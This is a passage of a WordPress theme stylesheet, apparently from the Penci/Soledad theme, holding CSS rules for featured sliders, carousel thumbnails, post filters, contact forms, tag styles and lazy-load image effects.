	position: absolute;
	right: 0;
	bottom: -2px
}
@media (max-width:767px) {
	.slider-40-wrapper .see-all.visible-xs {
		position: inherit;
		right: 0;
		bottom: 0;
		margin-top: 35px
	}
}
.slider-40-wrapper .see-all:hover {
	color: #44c8e6
}
.slider-40-wrapper .galery-slider-40 {
	position: relative
}
@media (max-width:1020px) and (min-width:767px) {
	.slider-40-wrapper .galery-slider-40 {
		margin-top: 27px
	}
	.featured-style-40 .nav-slider {
		left: 30px;
		right: 30px
	}
}
@media (max-width:767px) {
	.slider-40-wrapper .galery-slider-40 .slider-creative {
		margin-bottom: 0;
		padding: 0 60px
	}
	.featured-style-40 .nav-slider {
		left: 10px;
		right: 10px
	}
}
.slider-40-wrapper .galery-slider-40 .slider-creative .nav-slider-slider-40 {
	top: 50%;
	transform: translateY(-50%)
}
.slider-40-wrapper .galery-slider-40 .slider-creative .nav-slider-slider-40 .nav-slider-button .icon-arrow-left {
	margin: 0
}
@media (max-width:1020px) and (min-width:767px) {
	.slider-40-wrapper .galery-slider-40 .slider-creative .nav-slider-slider-40 {
		left: 10px;
		right: 10px
	}
}
@media (max-width:767px) {
	.slider-40-wrapper .galery-slider-40 .container-thumb-creative {
		overflow-y: scroll;
		position: relative;
		width: 100%;
		bottom: -25px;
		left: 0
	}
}
.slider-40-wrapper .nav-thumb-creative {
	width: 690px;
	padding: 10px 5px 0;
	background-color: #fff;
	margin: 0 auto;
	overflow: hidden;
	position: absolute;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 99
}
.slider-40-wrapper .nav-thumb-creative .swiper-slide {
	width: 25%
}
.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container {
	display: none
}
.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(1),
.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(2),
.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(3),
.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(4) {
	display: block
}
@media (max-width:1020px) and (min-width:767px) {
	.slider-40-wrapper .nav-thumb-creative {
		padding: 10px;
		width: 100%
	}
}
@media (max-width:767px) {
	.slider-40-wrapper .nav-thumb-creative {
		left: 0;
		bottom: 0;
		position: inherit
	}
}
.slider-40-wrapper .nav-thumb-creative .thumb-container {
	position: relative;
	overflow: hidden;
	text-align: center;
	display: block
}
.slider-40-wrapper .nav-thumb-creative .thumb-container .penci-image-holder {
	width: 100%;
	height: auto;
	position: relative;
	z-index: 3;
	-webkit-transition: transform .3s ease-in-out;
	-o-transition: transform .3s ease-in-out;
	transition: transform .3s ease-in-out;
	display: inline-block;
	vertical-align: middle
}
.slider-40-wrapper .penci-image-holder:before {
	padding-top: 66.6667% !important
}
.slider-40-wrapper .nav-thumb-creative .thumb-container:after {
	content: "";
	opacity: 0;
	visibility: hidden;
	width: 100%;
	height: 100%;
	background-color: var(--pcaccent-cl);
	position: absolute;
	left: 0;
	top: 0;
	-webkit-transition: opacity .3s ease-in-out, visibility .3s ease-in-out;
	-o-transition: opacity .3s ease-in-out, visibility .3s ease-in-out;
	transition: opacity .3s ease-in-out, visibility .3s ease-in-out;
	z-index: 5
}
.slider-40-wrapper .nav-thumb-creative .thumb-container:hover:after {
	visibility: visible;
	opacity: .5
}
@media (max-width:1020px) and (min-width:767px) {
	.slider-40-wrapper .nav-thumb-creative .thumb-container+.thumb-container {
		margin-left: 9px
	}
}
.slider-40-wrapper .nav-thumb-creative .swiper-slide.active .penci-image-holder {
	-webkit-transform: scale(.95, .93);
	-ms-transform: scale(.95, .93);
	-o-transform: scale(.95, .93);
	transform: scale(.95, .93)
}
.slider-40-wrapper .nav-thumb-creative .swiper-slide.active .thumb-container:after,
.slider-40-wrapper .nav-thumb-creative .swiper-slide.active:hover .thumb-container:after {
	opacity: 1;
	visibility: visible;
	z-index: 0
}
.slider-40-wrapper .nav-thumb-creative .thumb-container:hover .thumb-container:after {
	z-index: 4;
	-webkit-transition: opacity .3s ease-in-out, visibility .3s ease-in-out;
	-o-transition: opacity .3s ease-in-out, visibility .3s ease-in-out;
	transition: opacity .3s ease-in-out, visibility .3s ease-in-out;
	opacity: .6;
	visibility: visible
}
.slider-40-wrapper .bg-img-slider-40-background,
.slider-40-wrapper .bg-img-slider-40-behind {
	overflow: hidden;
	height: 100%;
	width: 100%;
	position: absolute;
	left: 0;
	right: 0;
	background-size: cover;
	background-position: center
}
.slider-40-wrapper .nav-slider-button {
	height: 34px;
	width: 34px;
	border-radius: 50%;
	float: left;
	text-align: center;
	transition: all .3s ease-in-out;
	line-height: 34px;
	padding: 0;
	background: #fff;
	color: #010101;
	opacity: .8
}
.slider-40-wrapper .nav-slider-button:hover {
	opacity: 1
}
.slider-40-wrapper .nav-slider-button i {
	font-size: 12px;
	color: inherit;
	line-height: inherit
}
.slider-40-wrapper .next-button {
	right: 0;
	float: right
}
.slider-40-wrapper .nav-thumb-creative .swiper-slide-inner {
	padding-left: 5px;
	padding-right: 5px
}
.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .swiper-slide:nth-child(4) {
	margin-right: 0
}
.penci-43-slider-item {
	width: 100%;
	background-size: cover;
	display: flex;
	flex-wrap: wrap;
	align-content: center;
	position: relative;
	z-index: 5;
	overflow: hidden
}
@media (max-width:1020px) and (min-width:767px) {
	.penci-43-slider-item {
		height: 400px
	}
}
.penci-43-slider-item .img-container {
	width: 100%;
	position: absolute;
	height: 100%;
	left: 0;
	top: 0;
	overflow: hidden
}
.penci-43-slider-item .img-container .img-responsive {
	margin: 0 auto
}
.penci-43-slider-item .img-container:before {
	content: "";
	z-index: 1;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	margin: auto;
	background-color: rgba(0, 0, 0, .15)
}
.penci-43-slider-item .img-container img {
	-webkit-transition: transform 2s ease-in-out;
	-o-transition: transform 2s ease-in-out;
	transition: transform 2s ease-in-out
}
.penci-43-slider-item>div {
	width: 700px;
	margin: 0 auto;
	position: relative;
	z-index: 4
}
.penci-43-slider-item div .featured-cat a {
	color: #fff
}
.penci-43-slider-item .featured-slider-excerpt {
	margin-top: 15px
}
.penci-43-slider-item .featured-slider-excerpt p {
	margin-bottom: 0
}
@media (max-width:1020px) and (min-width:767px) {
	.penci-43-slider-item div {
		width: 550px
	}
}
@media (max-width:767px) {
	.penci-43-slider-item>div:last-child {
		width: 100%;
		padding: 10px
	}
	.penci-43-slider-item div .number-tv {
		display: block;
		margin-bottom: 14px
	}
}
@media (max-width:767px) and (max-width:767px) {
	.penci-43-slider-item div .number-tv {
		margin-bottom: 3px
	}
}
.penci-43-slider-item .title-part {
	font-size: 42px;
	margin: 0;
	font-weight: var(--pchead-wei);
	line-height: 1.2;
	color: #fff
}
.penci-43-slider-item .penci-fslider-fmeta {
	margin-top: 6px
}
.penci-43-slider-item .title-part a {
	color: inherit;
	font-size: inherit
}
.penci-43-slider-item .title-part a:hover {
	text-decoration: none
}
@media only screen and (max-width:1170px) {
	.penci-43-slider-item .title-part {
		font-size: 36px
	}
}
@media only screen and (max-width:960px) {
	.penci-43-slider-item .title-part {
		font-size: 30px
	}
	.penci-43-slider-item .featured-slider-excerpt {
		display: none
	}
}
@media only screen and (max-width:767px) {
	.penci-43-slider-item .title-part {
		font-size: 24px
	}
}
@media only screen and (max-width:479px) {
	.penci-43-slider-item .title-part {
		font-size: 20px
	}
}
.featured-area.featured-style-39 .penci-slider38-overlay {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: rgba(0, 0, 0, .5);
	z-index: 3
}
.featured-area.featured-style-39 .penci-image-holder {
	max-height: 450px
}
.featured-area.featured-style-39 .penci-featured-content .feat-text {
	max-width: calc(100% - 390px);
	margin: 0;
	text-align: center
}
@media only screen and (max-width:767px) {
	.featured-area.featured-style-39 .penci-featured-content .feat-text {
		max-width: 100%
	}
}
.featured-area.featured-style-39 .penci-featured-content {
	z-index: 4
}
.featured-area.featured-style-39 .penci-slider39-thumb {
	position: absolute;
	bottom: 0;
	top: 40px;
	right: 0;
	z-index: 99;
	padding: 30px;
	width: 370px;
	height: 100%;
	background-color: rgba(0, 0, 0, .7);
	overflow: hidden
}
@media only screen and (max-width:1170px) {
	.featured-area.featured-style-39 .penci-featured-content .feat-text {
		max-width: calc(100% - 320px)
	}
	.featured-area.featured-style-39 .penci-slider39-thumb {
		width: 320px
	}
}
@media only screen and (max-width:767px) {
	.featured-area.featured-style-39 .penci-slider39-thumb {
		display: none
	}
}
.featured-area.featured-style-39 .penci-slider39-thumb .owl-thumb-item h3 {
	font-size: 16px;
	color: #fff;
	margin: 0;
	line-height: 1.3;
	margin-left: 90px;
	opacity: .75
}
.featured-area.featured-style-39 .penci-slider39-thumb .owl-thumb-item {
	cursor: pointer
}
.featured-area.featured-style-39 .penci-slider39-thumb .swiper-slide-thumb-active.owl-thumb-item h3 {
	opacity: 1
}
.featured-area.featured-style-39 .featured-slider-excerpt,
.featured-area.featured-style-39 .featured-slider-excerpt p {
	text-align: center
}
.featured-area.featured-style-39 .penci-slider39-thumb .owl-thumb-item .penci-image-holder {
	width: 70px;
	height: 70px;
	border: 1px solid rgba(255, 255, 255, .5);
	float: left
}
.featured-area.featured-style-39 .penci-slider39-thumb .active .owl-thumb-item .penci-image-holder {
	border-color: var(--pcaccent-cl)
}
.penci-owl-carousel-slider[data-direction=vertical]:not(.penci-owl-loaded)>div:first-child {
	display: flex;
	flex-direction: column
}
.penci-owl-carousel-slider[data-direction=vertical]:not(.penci-owl-loaded) .swiper-slide {
	flex-shrink: 0;
	width: 100% !important;
	height: auto;
	margin-bottom: 30px;
	position: relative;
	transition-property: transform;
	float: none !important
}
.swiper-mark-item {
	overflow: hidden;
	transition: all .4s ease
}
.penci-swiper-mask {
	position: relative;
	z-index: 1
}
.featured-style-45 .swiper-slide {
	overflow: hidden;
	color: #fff;
	min-height: 550px;
	transition: all .4s ease
}
.featured-style-45 .slide-inner {
	width: 100%;
	height: 100%;
	position: absolute;
	left: 0;
	top: 0;
	z-index: 1;
	background-size: cover;
	background-position: center;
	display: flex;
	justify-content: center;
	align-items: center;
	text-align: left
}
.featured-style-45 .penci-featured-content {
	top: 60px;
	left: 60px;
	bottom: 60px;
	transform: unset;
	max-width: 420px;
	display: flex;
	align-items: center;
}
.featured-style-45 .penci-featured-content .feat-text {
	max-width: 100%;
	text-align: left;
	padding: 60px;
	border-radius: 5px;
	overflow: hidden;
}
.featured-style-45 .penci-featured-content .featured-slider-overlay {
	background: rgba(255, 255, 255, 0.15);
	backdrop-filter: blur(2px) saturate(180%);
	border: 1px solid rgba(255, 255, 255, 0.8);
	border-radius: 5px;
	box-shadow: 0 8px 32px rgba(31, 38, 135, 0.2), 
				inset 0 4px 20px rgba(255, 255, 255, 0.3);
}
.featured-style-45 .swiper-slide .penci-image-holder:before {
	padding-top: 45%;
}
.swiper-button-disabled {
	cursor: not-allowed !important;
	opacity: .5 !important
}
.post-image.stick-video-enable {
	position: fixed;
	max-width: var(--pcajs_fvw);
	width: 100%;
	height: auto;
	z-index: 99999;
	margin: 0;
	overflow: visible
}
@media only screen and (max-width:767px) {
	.post-image.stick-video-enable {
		max-width: var(--pcajs_fvmw)
	}
}
.post-image.stick-video-enable.top-right {
	top: 40px;
	right: 40px
}
.post-image.stick-video-enable.bottom-right {
	bottom: 40px;
	right: 40px
}
.post-image.stick-video-enable.top-left {
	top: 40px;
	left: 40px
}
.post-image.stick-video-enable.bottom-left {
	bottom: 40px;
	left: 40px
}
.post-image.stick-video-enable .standard-post-special_wrapper {
	display: none
}
.swiper-button-lock {
	display: none !important
}
.swiper-fade .item {
	opacity: 0;
	visibility: hidden
}
.swiper-fade .item.swiper-slide-visible {
	opacity: 1;
	visibility: visible
}
.stick-video-enable-remove {
	width: 30px;
	height: 30px;
	border-radius: 50%;
	background: #000;
	color: #fff;
	line-height: 30px;
	text-align: center;
	font-size: 12px;
	position: absolute;
	top: -5px;
	right: -5px;
	z-index: 99999;
	cursor: pointer;
	transition: all .3s ease-in-out
}
.stick-video-enable-remove:hover {
	background: var(--pcaccent-cl);
	color: #fff
}
.stick-video-enable-remove i {
	line-height: inherit !important
}
.swiper-cards .swiper-slide {
	opacity: .5
}
.swiper-cards .swiper-slide.active {
	opacity: 1
}
.featured-style-28 .swiper-slide {
	width: fit-content !important
}
.penci-sponsored-label {
	display: inline-block;
	padding: 1px 5px;
	background-color: var(--pcaccent-cl);
	color: var(--pcbg-cl) !important;
	margin: 0 5px 0 0 !important
}
.penci-sponsored-label:before {
	content: attr(data-text)
}
.penci-sponsored-logo img {
	display: inline-block;
	max-height: 20px;
	width: auto;
	vertical-align: middle;
	margin-left: 5px
}
.penci-csublist.cat {
	margin-top: 10px
}
.penci-csublist.cat>a.penci-cat-name {
	font-size: 16px
}
.penci-mtp-filters-wrapper {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	--spacing: 30px;
	--sidebar: 25%;
	--listspc: 0
}
.penci-mtp-filters-terms {
	width: var(--sidebar);
	padding-right: var(--spacing)
}
.penci-mtp-filters-posts {
	width: calc(100% - var(--sidebar));
	border-left: 1px solid var(--pcborder-cl);
	padding-left: var(--spacing)
}
.penci-mtp-filters-wrapper.pctp-right {
	flex-direction: row-reverse
}
.penci-mtp-filters-wrapper.pctp-right .penci-mtp-filters-terms {
	padding-right: 0;
	padding-left: var(--spacing)
}
.penci-mtp-filters-wrapper.pctp-right .penci-mtp-filters-posts {
	border-right: 1px solid var(--pcborder-cl);
	padding-right: var(--spacing);
	border-left: 0;
	padding-left: 0
}
.penci-mtp-filters-wrapper.pctp-top {
	flex-direction: column
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-posts,
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms {
	width: 100%;
	border: 0;
	padding: 0
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-posts {
	border-top: 1px solid var(--pcborder-cl);
	padding-top: var(--spacing);
	margin-top: var(--spacing)
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms {
	display: flex;
	flex: 1;
	overflow: auto
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms ul {
	display: flex;
	flex-shrink: 0
}
.penci-mtp-filters-terms ul {
	background: #f5f5f5
}
.penci-mtp-filters-terms ul,
.penci-mtp-filters-terms ul li {
	list-style: none;
	margin: 0;
	padding: 0
}
.penci-mtp-filters-terms ul li:not(:last-child) {
	list-style: none
}
.penci-mtp-filters-terms ul li a:hover {
	text-decoration: none
}
.penci-mtp-filters-posts.layout-list .pcsl-inner .pcsl-item:not(:last-child) {
	padding-bottom: var(--pcsl-bgap);
	border-bottom: 1px solid var(--pcborder-cl)
}
.penci-mtp-filters-terms ul li:not(:last-child) {
	margin-bottom: var(--listspc)
}
.penci-mtp-filters-terms ul li a {
	padding: 0 20px 0 40px;
	position: relative;
	background: 0 0;
	display: flex;
	justify-content: space-between;
	line-height: 45px;
	color: var(--pcheading-cl);
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	font-size: 16px
}
.penci-mtp-filters-terms ul li a.added,
.penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id=all] {
	background: var(--pcaccent-cl);
	color: #fff
}
.penci-mtp-filters-terms ul li a.added:before,
.penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id=all]:before {
	content: "\f111";
	font-family: penciicon;
	font-size: 14px;
	font-display: swap;
	display: inline-block;
	font-style: normal;
	font-weight: 400 !important;
	font-variant: normal;
	text-transform: none;
	line-height: inherit;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	position: absolute;
	left: 14px;
	top: 0;
	bottom: 0
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms ul li:not(:last-child) {
	margin-right: var(--listspc);
	margin-bottom: 0
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms .count {
	margin-left: 10px
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms .count:before {
	content: '('
}
.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms .count:after {
	content: ')'
}
.penci-mtp-filters-wrapper .penci-pagination {
	margin-top: 30px;
	margin-bottom: 0
}
.penci-mtp-filters-wrapper .pcsl-inner .pcsl-iteminer {
	position: relative
}
.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt,
.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt {
	position: absolute;
	top: 0;
	right: 0;
	margin: 0;
	padding: 0;
	font-size: 14px;
	line-height: 1.4;
	color: var(--pcheading-cl)
}
.penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-middle .grid-post-box-meta.pcmtf-mt-alt,
.post-entry .penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-middle .grid-post-box-meta.pcmtf-mt-alt {
	top: 50%;
	bottom: 50%;
	transform: translateY(-50%)
}
.penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-bottom .grid-post-box-meta.pcmtf-mt-alt,
.post-entry .penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-bottom .grid-post-box-meta.pcmtf-mt-alt {
	top: auto;
	bottom: 0
}
.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span,
.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span {
	color: inherit
}
.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer {
	padding-right: 120px
}
.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner.no-date .pcsl-iteminer {
	padding-right: 0
}
.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .grid-post-box-meta.pcsl-meta:not(.pcmtf-mt-alt) .sl-date {
	display: none;
}
.penci-mtp-filters-close,
.penci-mtp-filters-mobile {
	display: none
}
.pencif-contact-form-wrapper {
	width: 100%;
}
.pencif-contact-form-wrapper .pencif-button-full-width {
	width: 100%;
}
.pencif-contact-form .elementor-field-type-submit .penci-button {
	width: auto;
}
.pencif-contact-form .grecaptcha-badge {
	z-index: 999;
}
.pencif-field-group {
	margin-bottom: 15px;
}
.pencif-contact-form .pencif-field-group.pencif-margin-remove-bottom {
	line-height: 1;
}
.pencif-contact-form .pencif-field-group .pencif-checkbox {
	margin-right: 3px;
}
.pencif-contact-form .elementor-field-type-submit {
	margin-bottom: 0 !important;
}
.pencif-register-additional-message {
	font-size: 12px;
	color: #999;
}
form.pencif-2col {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between;
	column-gap: 30px;
}
form.pencif-2col .pencif-col {
	flex: 1 1 auto;
}
form.pencif-name-inline  {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between;
}
form.pencif-name-inline .pencif-field-group {
	width: 100%;
}
form.pencif-name-inline .pencif-field-normal {
	width: 49%;
}
.pencif-field-group > label {
	display: block;
}
.pencif-text-notice {
	padding-left: 15px;
	margin-bottom: 15px;
	line-height: 40px;
	font-size: 14px;
	text-align: center;
	font-weight: 500;
	width: 100%;
}
.pencif-text-warning {
	background: red;
	color: #fff
}
.pencif-text-warning {
	background: yellow;
	color: #fff
}
.pencif-text-success {
	background: #dcffb4;
	color: #595959
}
.pencif-contact-form.loading .pencif-button:before {
    content: "\f110";
    font-family: "penciicon";
}
.pencif-contact-form.loading .pencif-button {
    position: relative;
}
.pencif-contact-form.loading .pencif-button:before {
    opacity: 1;
    transition: opacity .2s ease;
    content: "";
    display: inline-block;
    border: 1px solid #bbb;
    border-left-color: #fff;
    border-top-color: #fff;
    border-radius: 50%;
    vertical-align: middle;
    position: absolute;
    top: 50%;
    left: 50%;
    margin-top: -12px;
    margin-left: -12px;
    width: 24px;
    height: 24px;
    z-index: 9;
    animation: penci-menu-rotate .35s infinite linear
}
.pencif-contact-form.loading .pencif-button {
    color: transparent !important;
}
.pencif-contact-form.loading input,
.pencif-contact-form.loading textarea {
	pointer-events: none;
	opacity: 0.5;
}
@media screen and (max-width: 1169px) {
	.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer {
		padding-right: 0;
	}
	.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt,
	.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt {
		display: none;
	}
	.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .grid-post-box-meta.pcsl-meta:not(.pcmtf-mt-alt) .sl-date {
		display: inline-block;
	}
}  
@media only screen and (max-width:767px) {
	.penci-mtp-filters-posts .theiaStickySidebar,
	.penci-mtp-filters-terms .theiaStickySidebar {
		position: static !important
	}
	.penci-mtp-filters-mobile.active {
		display: none
	}
	.penci-mtp-filters-main.active {
		display: block;
		margin-bottom: 30px
	}
	.penci-mtp-filters-wrapper {
		flex-direction: column
	}
	.penci-mtp-filters-main {
		display: none
	}
	.penci-mtp-filters-wrapper .penci-mtp-filters-posts,
	.penci-mtp-filters-wrapper .penci-mtp-filters-terms {
		width: 100%;
		border: 0;
		padding: 0
	}
	.penci-mtp-filters-close.active,
	.penci-mtp-filters-mobile {
		display: block;
		padding: 10px 40px;
		border: 1px solid var(--pcborder-cl);
		margin-bottom: 30px;
		position: relative
	}
	.penci-mtp-filters-close.active:after,
	.penci-mtp-filters-mobile:after {
		content: "\f11c";
		position: absolute;
		right: 20px;
		top: 50%;
		transform: translateY(-50%);
		font-family: penciicon
	}
	.penci-mtp-filters-close.active {
		border-bottom: 0;
		margin-bottom: 0
	}
	.penci-mtp-filters-close.active:after {
		content: "\f110"
	}
	.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span,
	.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span {
		font-size: 12px
	}
	.list-post-3 .content-list-right,
	.penci-grid li.list-post-3 .item > .thumbnail {
		width: 100%;
	}
	.list-post-3 .content-list-right {
		margin: -20px 10px 0;
	}
	.penci-post-share-box-btn {
		bottom: 30px;
	}
	form.pencif-2col .pencif-col {
		max-width: 100%;
	}
	form.pencif-2col .pencif-col .pencif-field-group {
		margin-bottom: 15px;
	}
	.pcrlt-style-5 .penci-related-grid-display .related-content::before {
		left: 0;
		right: 0;
	}
}
.pcstyle-style-1 .container-single .post-entry .post-tags a {
	align-items:center;
	background-color:transparent;
	border:1px solid var(--pcborder-cl);
	border-radius:10px;
	color: var(--pcheading-cl);
	font-size: 13px;
	justify-content:center;
	line-height:25px;
	padding:0 15px;
	position:relative;
	transition:.2s ease-in-out;
	z-index:2;
}
.pcstyle-style-1 .container-single .post-entry .post-tags a:before {
	background-color:var(--pcaccent-cl);
	border-radius:100%;
	display: inline-block;
	height:9px;
	margin-right:5px;
	content: '';
	width:9px;
	vertical-align: middle;
}
.pcstyle-style-2 .container-single .post-entry .post-tags a {
	border: 0;
	padding-left: 0;
	padding-right: 0;
	font-weight: bold;
	font-size: 14px !important;
}
.pcstyle-style-2 .container-single .post-entry .post-tags a:hover {
	background: transparent;
	color: var(--pcaccent-cl);
}
.pcstyle-style-2 .container-single .post-entry .post-tags a:before {
	margin-right:2px;
	content: '#';
	opacity: 0.5;
}
.pcstyle-style-3 .container-single .post-entry .post-tags a {
	text-transform: none;
	border-radius: 4px;
	border: 0;
	background: #f1f1f1;
	font-size: 14px !important;
	color: var(--pcheading-cl);
}
.pcstyle-style-3 .container-single .post-entry .post-tags a:hover {
	background: var(--pcaccent-cl);
	color: #fff;
}
.pcstyle-style-4 .container-single .post-entry .post-tags a {
	text-transform: none;
	border-radius: 3px;
	line-height: 20px;
	padding: 6px 15px 6px 12px;
	border: 0;
	background: #f1f1f1;
	font-size: 14px !important;
	color: var(--pcheading-cl);
	position: relative;
	overflow: hidden;
}
.pcstyle-style-4 .container-single .post-entry .post-tags a:before {
	background: var(--pctext-cl);
	border-radius: 10px;
	content: '';
	height: 6px;
	left: 10px;
	width: 6px;
	display: inline-block;
	margin-right: 5px;
	opacity: 0.5;
}
.pcstyle-style-4 .container-single .post-entry .post-tags a:after {
	background: var(--pcbg-cl);
	border-bottom: 16px solid transparent;
	border-left: 10px solid #f1f1f1;
	border-top: 17px solid transparent;
	content: '';
	position: absolute;
	right: 0;
	top: 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
}
.pcstyle-style-4 .container-single .post-entry .post-tags a:hover {
	background: var(--pcaccent-cl);
	color: #fff;
}
.pcstyle-style-4 .container-single .post-entry .post-tags a:hover:after {
	border-left-color: var(--pcaccent-cl);
}
.pcstyle-style-5 .container-single .post-entry .post-tags a {
	background-color: var(--pcaccent-cl);
	-webkit-border-radius: 4px 3px 3px 4px;
	-moz-border-radius: 4px 3px 3px 4px;
	border-radius: 4px 3px 3px 4px;
	position: relative;
	color: #fff;
	zoom: 1;
	line-height: 22px;
	padding: 0 8px 0 10px;
	margin: 4px 4px 4px 8px;
	border:0;
}
.pcstyle-style-5 .container-single .post-entry .post-tags a:before {
	content: "";
	position: absolute;
	left: -5px;
	top: 1px;
	width: 0;
	height: 0;
	border-top: 10px solid transparent;
	border-right: 6px solid var(--pcaccent-cl);
	border-bottom: 10px solid transparent;
}
.post-tags.penci-post-sources {
	margin-top: 5px;
}
.penciwp-notice-form {
    position: fixed;
    z-index: 999;
    top: 0;
    bottom: 0;
    right: 0;
    left: 0;
    display: flex;
    align-content: center;
    justify-content: center;
    align-items: center;
    flex-wrap: wrap;
    background: rgba(55,55,55,0.8);
}
.penciwp-notice-form .penciwp-notice-form-inner {
    max-width: 450px;
    position: relative;
    padding: 30px;
    margin: 30px;
    width: 100%;
    text-align: center;
    background: #fff;
    display: flex;
    align-content: center;
    justify-content: center;
    align-items: center;
    flex-wrap: wrap;
    box-shadow: 2px 2px 2px rgba(55,55,555,0.2);
}
.pcwp-close-btn {
    display: block;
    width: 30px;
    height: 30px;
    position: absolute;
    background: var(--pcaccent-cl);
    top: -15px;
    right: -15px;
    color: #fff;
    line-height: 30px;
    font-size: 10px;
    border-radius: 50%;
    transition: 0.3s all ease-in-out;
}
.pcwp-close-btn:hover {
    opacity: 0.8;
}
.pcwp-close-btn:before {
    content: "\f110";
    font-family: "penciicon";
}
.mc4wp-form.loading .msubmit {
    position: relative;
}
.mc4wp-form.loading .msubmit:before {
    opacity: 1;
    transition: opacity .2s ease;
    content: "";
    display: inline-block;
    border: 1px solid #bbb;
    border-left-color: #fff;
    border-top-color: #fff;
    border-radius: 50%;
    vertical-align: middle;
    position: absolute;
    top: 50%;
    left: 50%;
    margin-top: -12px;
    margin-left: -12px;
    width: 24px;
    height: 24px;
    z-index: 9;
    animation: penci-menu-rotate .35s infinite linear
}
.mc4wp-form.loading .msubmit input {
    color: transparent !important;
}
.penci-sg-cth:not(.show-full) {
	position: relative;
}
.penci-sg-cth:not(.show-full):after {
	content: '';
	background: var(--pcbg-cl);
	background: linear-gradient(0deg, var(--pcbg-cl) 0%, transparent 100%);
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	height: 120px;
	z-index: 1;
	display: block;
}
.penci-sg-cth .penci-btn-more-content {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	text-align: center;
}
.container-single .penci-sg-cth .penci-btn-more-content a,
.post-entry .penci-sg-cth .penci-btn-more-content a {
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	position: relative;
	z-index: 3;
	color: var(--pcbg-cl);
	background: var(--pcaccent-cl);
	display: inline-block;
	padding: 0 20px;
	line-height: 35px;
}
.container-single .penci-sg-cth .penci-btn-more-content a:hover,
.post-entry .penci-sg-cth .penci-btn-more-content a:hover {
	opacity: 0.8;
	text-decoration: none;
}
@-webkit-keyframes fadeInZoom {
	from {
		opacity: 0;
		-webkit-transform: scale(1.3);
		transform: scale(1.3)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInZoom {
	from {
		opacity: 0;
		-webkit-transform: scale(1.1);
		transform: scale(1.1);
		-webkit-filter: blur(5px);
		filter: blur(5px);
	}
	to {
		opacity: 1;
		-webkit-transform: scale(1);
		transform: scale(1);
		-webkit-filter: blur(0);
		filter: blur(0);
	}
}
.pclz-effs .penci-lazy,
.pclz-effs .thumbnail,
.pclz-effs .standard-post-image {
	overflow: hidden;
}
.pclz-style-1 .penci-lazy.pcloaded,
.pclz-style-1 .thumbnail .pcloaded,
.pclz-style-1 .standard-post-image .pcloaded {
	opacity: 1;
	animation: fadeIn 0.3s ease-in;
}
.pclz-style-2 .penci-lazy.pcloaded,
.pclz-style-2 .thumbnail .pcloaded,
.pclz-style-2 .standard-post-image .pcloaded {
	opacity: 1;
	animation: fadeInZoom 0.3s ease-in;
}
.pclz-style-3 .penci-lazy,
.pclz-style-3 .thumbnail .penci-lazy,
.pclz-style-3 .standard-post-image .penci-lazy {
	-webkit-filter: blur(30px);
	filter: blur(30px);
	transition: filter 400ms, -webkit-filter 400ms;
}
.pclz-style-3 .penci-lazy.pcloaded,
.pclz-style-3 .thumbnail .pcloaded,
.pclz-style-3 .standard-post-image .pcloaded {
	-webkit-filter: blur(0);
	filter: blur(0);
}
.pclz-effs .swiper-slide .penci-lazy {
	overflow: initial;
}
.pclz-style-1 .swiper-slide .penci-lazy:not(.lazyloaded),
.pclz-style-2 .swiper-slide .penci-lazy:not(.lazyloaded),
.pclz-style-3 .swiper-slide .penci-lazy:not(.lazyloaded) {
